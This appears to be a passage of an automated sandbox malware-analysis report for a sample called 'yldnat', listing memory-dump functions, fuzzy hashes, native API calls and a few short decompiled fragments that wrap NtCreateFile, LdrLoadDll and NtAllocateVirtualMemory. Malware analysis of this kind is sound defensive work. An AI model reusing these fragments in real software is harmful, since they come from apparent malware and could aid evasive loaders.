Yara matches

Similarity

API ID: FileRead
String ID: !VA$bYA$bYA
API String ID: 2738559852-1892722986
Opcode ID: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction ID: a082e577e587f18bad2a0ac2af42633e1a6d87433a9ff8ac06d3019b9616f73f
Opcode Fuzzy Hash: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction Fuzzy Hash: 62F0A4B2200208ABCB14DF99DC85EEB77ADAF8C754F118249BA0D97241D630E811CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A28A Relevance: 1.6, APIs: 1, Instructions: 62
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,004090B3,?,004157A7,004090B3,FFFFFFFF,?,?,FFFFFFFF,004090B3,004157A7,?,004090B3,00000060,00000000,00000000), ref: 0041A31D

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 67b207398dec21cea9c5f2fdcc8201dcaed53f7e534dc20bd5e479b03b2dd50c
Instruction ID: 1dfaf056c71c304fbd68e1a8a8bc5405c5af5c9ae836129a1c918a3199dc8486
Opcode Fuzzy Hash: 67b207398dec21cea9c5f2fdcc8201dcaed53f7e534dc20bd5e479b03b2dd50c
Instruction Fuzzy Hash: 7011C2B2205108ABCB18DF88DC85DEB77ADEF8C754F108509FA0D97241D634E861CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0E0 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040A0E0(void* __edi, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t31;
				void* _t32;
				void* _t33;

				_v8 =  &_v536;
				_t15 = E0041CD70(__edi,  &_v12, 0x104, _a8);
				_t32 = _t31 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041D190(__eflags, _v8);
					_t33 = _t32 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041D410( &_v12, 0);
						_t33 = _t33 + 8;
					}
					_t18 = E0041B4C0(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x0040a0fc
0x0040a0ff
0x0040a104
0x0040a109
0x0040a113
0x0040a118
0x0040a11b
0x0040a11d
0x0040a125
0x0040a12a
0x0040a12a
0x0040a131
0x0040a139
0x0040a13c
0x0040a13e
0x0040a152
0x00000000
0x0040a154
0x0040a15a
0x0040a10e
0x0040a10e
0x0040a10e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040A152

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 40796ed2abedf08632889fec39371184e398d1dfafb99c177ad60987c42a2680
Instruction ID: 2d0d09612ad2a2ca92ab0b29bd402b5d77c55f859f0073fa60504bb5a6634220
Opcode Fuzzy Hash: 40796ed2abedf08632889fec39371184e398d1dfafb99c177ad60987c42a2680
Instruction Fuzzy Hash: 700112B5E4020DB7DB10DAA5DC42FDEB7789B5430CF0041A5E908AB281F675EB548795

Uniqueness

Uniqueness Score: -1.00%

Function 0041A2CA Relevance: 1.5, APIs: 1, Instructions: 43
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,004090B3,?,004157A7,004090B3,FFFFFFFF,?,?,FFFFFFFF,004090B3,004157A7,?,004090B3,00000060,00000000,00000000), ref: 0041A31D

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 56e90ec9e11605159a42278ee2eca9c803995f10a29f51cef008025b78b3b3ed
Instruction ID: 4374f9253818ac73a4fe39cf2d80c1c6e60e079c2ea04d7cd97a0ea02a98d132
Opcode Fuzzy Hash: 56e90ec9e11605159a42278ee2eca9c803995f10a29f51cef008025b78b3b3ed
Instruction Fuzzy Hash: 7401A4B2201108AFCB48CF98DC85DEB37A9AF8C354F118259FA0DD7251D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A2D0 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,004090B3,?,004157A7,004090B3,FFFFFFFF,?,?,FFFFFFFF,004090B3,004157A7,?,004090B3,00000060,00000000,00000000), ref: 0041A31D

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction ID: 9d1c7a99673d815193090eb3c7df6778cdc506c0404e130a1c4c2daf2453d359
Opcode Fuzzy Hash: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction Fuzzy Hash: B1F06DB6215208AFCB48DF89DC85EEB77ADAF8C754F118249BA0997241D630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4AA Relevance: 1.5, APIs: 1, Instructions: 32
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0041A4AA(void* __esi, intOrPtr _a8, void* _a12, PVOID* _a16, long _a20, long* _a24, long _a28, long _a32) {
				long _t14;

				_t10 = _a8;
				_push(0xec8b558a);
				_t3 = _t10 + 0xc7c; // 0x3c7c
				E0041AF20( *((intOrPtr*)(_a8 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a8 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a12, _a16, _a20, _a24, _a28, _a32); // executed
				return _t14;
			}

0x0041a4b3
0x0041a4b9
0x0041a4bf
0x0041a4c7
0x0041a4e9
0x0041a4ed

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0041B15D,?,0041B15D,?,00000000,?,00003000,00000040,004090B3,00000000), ref: 0041A4E9

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b6012610b3534ab578e955300fa2c9147cf21ce4007fff8bd81e7b134cec30f3
Instruction ID: e6a59205a01b9863badca04a1f4de8256db2c4ff87b2762c25fc6340aa599850
Opcode Fuzzy Hash: b6012610b3534ab578e955300fa2c9147cf21ce4007fff8bd81e7b134cec30f3
Instruction Fuzzy Hash: 35F0F8B6210114AFDB14DF99DC81EE777A9EF88354F11814AFE59A7241C630E811CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A4B0 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A4B0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				_t3 = _a4 + 0xc7c; // 0x3c7c
				E0041AF20( *((intOrPtr*)(_a4 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0041a4bf
0x0041a4c7
0x0041a4e9
0x0041a4ed

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0041B15D,?,0041B15D,?,00000000,?,00003000,00000040,004090B3,00000000), ref: 0041A4E9

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction ID: 1a7d6a8cb6469f78efe4d9f6d69158b31777733b6dc10b35fa3ec10f3d4aa708
Opcode Fuzzy Hash: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction Fuzzy Hash: 67F015B2210208ABDB14DF89DC81EEB77ADAF8C754F018109BE0897241C630F811CBB4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A400 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A400(intOrPtr _a4, void* _a8) {
				long _t8;

				_t5 = _a4;
				_t2 = _t5 + 0x14; // 0x56c29f0f
				_t3 = _t5 + 0xc6c; // 0x409d1f
				E0041AF20( *_t2, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0041a403
0x0041a406
0x0041a40f
0x0041a417
0x0041a425
0x0041a429

APIs

NtClose.NTDLL(00415940,?,?,00415940,004090B3,FFFFFFFF), ref: 0041A425

Memory Dump Source

Source File: 00000006.00000002.1032215807.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_yldnat.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction ID: 546cb3561d9e7aa21b5d5b03fb8e98cc08bf9eb549cb728b05757c44382c4f14
Opcode Fuzzy Hash: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction Fuzzy Hash: 87D01772200214ABD620EB99DC89ED77BADDF48664F018056BA485B242C530FA1086E1

Uniqueness

Uniqueness Score: -1.00%

Function 008600C4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 008600CF

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00860048 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00860053

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 00860078 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00860086

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 0085F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085F9FB

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0085F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085F90E

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0085FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FADB

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0085FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FAF3

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0085FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FBC3

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0085FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FB73

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0085FC90 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FC9B

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0085FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FC6B

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0085FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0085FD9A

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
